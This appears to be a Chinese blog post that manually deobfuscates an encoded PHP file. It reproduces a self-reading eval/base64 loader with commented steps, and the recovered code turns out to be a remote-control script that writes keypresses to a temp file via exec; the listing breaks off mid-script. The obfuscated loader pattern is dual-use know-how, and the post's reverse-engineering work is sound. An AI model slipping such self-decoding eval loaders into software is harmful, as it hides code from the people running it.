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'".$mRu8302;$eSkIOV6240($oj4228[3].$oj4228[4].$oj4228[21].$oj4228[3].$oj4228[22], $pmVy3804  ,"6788");

参考与引用
—————————————————————————

<?php $OOO000000=urldecode('fg6sbehpra4co_tnd');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0xde0;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NDhiKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdwVHd4VkhjS2RnT2tpL0M5QjN0ZnUySkc3NkVodjBGVVB6WExieWpvbFdNRDRaUXJhOE5zQVllMStJNW1xblNSPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>rno@BMfdZrbV^Io{gVn9ixT9ixT9ixYs0KgUvj2ahcHL6tPoGYnctu8HGYqokwdodX+bfAn9iVqafspakXdodXabfAn9ixpaiVqaOw39fAqaixpaiVqlgVqafspafAqaiwPbfspaiVqafspakw39fspafspaixpWkw0a2K0+2bzLte3ofeZWkAiIBL/A6ouNtbv1/b2l0LTc22T5JV8XFJWrhH0/3x3EuGgzCVIsB2yyitZg/JY8hy/t9tv4gAHwBA3H3b0dtuWkfVYCfYT3uy/u226GJHyE7JgL6c2j6ezWEjZ4hJIrvKHNv13Y0o0+FGlaifds/xue/sPIONqoOtbWCe6Lhcns6tPbfspaiVqafspaOfZy0jH4Ow39fspafspafspWCa==dpWyvogrvynN6GTrvo3WhjvliwbmwjyjdwPbGYT9uY3hg1Tr0e2NgYAWFaWyFc2LOwgy7ezrdVqP(后续数据省略)

—————————————————————————-
数据看起来很像base64编码,但是直接用base64_decode解码得不到正确结果。
网上的一些解密工具基本无效,(文件无换行)
手工解读一下前面部分的代码,并换行注释之
——————————————————————————-

<?php
$OOO000000=urldecode('fg6sbehpra4co_tnd');
//$OOO000000='fg6sbehpra4co_tnc'
$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};
$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};
$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};
//$OOO0000O0='base64_decode'
$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};
//$OOO000O00='fopen'
$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};
//$O0O000O00='fget'
$O0O000O0O=$O0O000O00.$OOO000000{11};
//O0O000O0O='fgetc'
$O0O000O00=$O0O000O00.$OOO000000{3};
//$O0O000O00='fgets'
$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};
//$O0O00OO00='fread'
$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};
//$OOO00000O='strtr'
$OOO0O0O00=__FILE__;//获取当前文件名
$OO00O0000=0xde0;
//$OO00O0000=3552;
eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NDhiKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdwVHd4VkhjS2RnT2tpL0M5QjN0ZnUySkc3NkVodjBGVVB6WExieWpvbFdNRDRaUXJhOE5zQVllMStJNW1xblNSPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>

——————————————————————————-
在前面的PHP代码部分有一个eval。先把它改成echo,保存为1.php看看执行后显示的结果是什麽!
运行方式就直接在终端 # wget http://localhost/1.php -O1.txt ,运行结果如下(加注释):
——————————————————————————–

$O000O0O00=$OOO000O00($OOO0O0O00,'rb');
//$O000O0O00=fopen(__FILE__,'rb');   //打开文件
$O0O00OO00($O000O0O00,0x48b);
//fread($O000O0O00,1163);  //跳过1163字节
$OO00O00O0=$OOO0000O0($OOO00000O(O0O00OO00($O000O0O00,0x17c),'pTwxVHcKdgOki/C9B3tfu2JG76Ehv0FUPzXLbyjolWMD4ZQra8NsAYe1+I5mqnSR=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));
//$OO00O00O0=base64_decode(strtr(fread($O000O0O00,380),'pTwxVHcKdgOki/C9B3tfu2JG76Ehv0FUPzXLbyjolWMD4ZQra8NsAYe1+I5mqnSR=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')); //读取380字节,根据代码表替换字符,base64解码
eval($OO00O00O0);  //执行解码后的代码
return;
?>

———————————————————————————-
从源文件跳过1163字节截取这380字节,替换进字符串,echo 输出到 2.txt
———————————————————————————–

$OO00O00O0=str_replace('__FILE__',"'".$OOO0O0O00."'",$OOO0000O0($OOO00000O(O0O00OO00($O000O0O00,OO00O0000),'pTwxVHcKdgOki/C9B3tfu2JG76Ehv0FUPzXLbyjolWMD4ZQra8NsAYe1+I5mqnSR=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));
//OO00O00O0=str_replace('__FILE__',"'".$OOO0O0O00."'",base64_decode(strtr(fread($O000O0O00,3552),'pTwxVHcKdgOki/C9B3tfu2JG76Ehv0FUPzXLbyjolWMD4ZQra8NsAYe1+I5mqnSR=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));
//读取3552字节,根据代码表替换字符,base64解码,把__FILE__替换为真正的当前文件名

fclose($O000O0O00);
eval($OO00O00O0);
return;
?>

————————————————————————————-
从源文件跳过 1163 + 380 字节,截取 3552字节, 编辑3.php文件
————————————————————————————–

//3.php
<?php
$OOO0O0O00=__FILE__;
$AAAA='.....截取的 3552字节字符串......';
$OO00O00O0=str_replace(
      '__FILE__',
      "'".$OOO0O0O00."'",
      base64_decode(
          strtr(
             $AAAA,
             'pTwxVHcKdgOki/C9B3tfu2JG76Ehv0FUPzXLbyjolWMD4ZQra8NsAYe1+I5mqnSR=',
             'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
           )
      )
);
eval_r($OO00O00O0);
return;

————————————————————————————–
#wget http://localhost/3.php -Oout.txt ,获得最终结果!
————————————————————————————-

 error_reporting(0);
if ($_POST['power']){
exec("echo O >> /tmp/command_sender.txt");
}else if ($_POST['home']){
exec("echo '{' >> /tmp/command_sender.txt");
}else if ($_POST['1']){
exec("echo 1 >> /tmp/command_sender.txt");
}else if ($_POST['2']){
exec("echo 2 >> /tmp/command_sender.txt");
}else if ($_POST['3']){
exec("echo 3 >> /tmp/command_sender.txt");
}else if ($_POST['4']){
exec("echo 4 >> /tmp/command_sender.txt");
}else if ($_POST['5']){
exec("echo 5 >> /tmp/command_sender.txt");
}else if ($_POST['6']){
exec("echo 6 >> /tmp/command_sender.txt");
}else if ($_POST['7']){
exec("echo 7 >> /tmp/command_sender.txt");
}else if ($_POST['8']){
exec("echo 8 >> /tmp/command_sender.txt");
}else if ($_POST['9']){
exec("echo 9 >> /tmp/command_sender.txt");
}else if ($_POST['16-9']){
exec("echo i >> /tmp/command_sender.txt");
}else if ($_POST['0']){
exec("echo 0 >> /tmp/command_sender.txt");
}else if ($_POST['return']){
exec("echo ',' >> /tmp/command_sender.txt");
}else if ($_POST['up']){
exec("echo 'W' >> /tmp/command_sender.txt");
}else if ($_POST['left']){
exec("echo 'A' >> /tmp/command_sender.txt");
}else if ($_POST['enter']){
exec("echo ' ' >> /tmp/command_sender.txt");
}else if ($_POST['right']){
exec("echo 'D' >> /tmp/command_sender.txt");
}else if ($_POST['down']){
exec("echo 'X' >> /tmp/command_sender.txt");
}else if ($_POST['setup']){
exec("echo '/' >> /tmp/command_sender.txt");
}else if ($_POST['info']){
exec("echo '}' >> /tmp/command_sender.txt");
}else if ($_POST['zoom']){
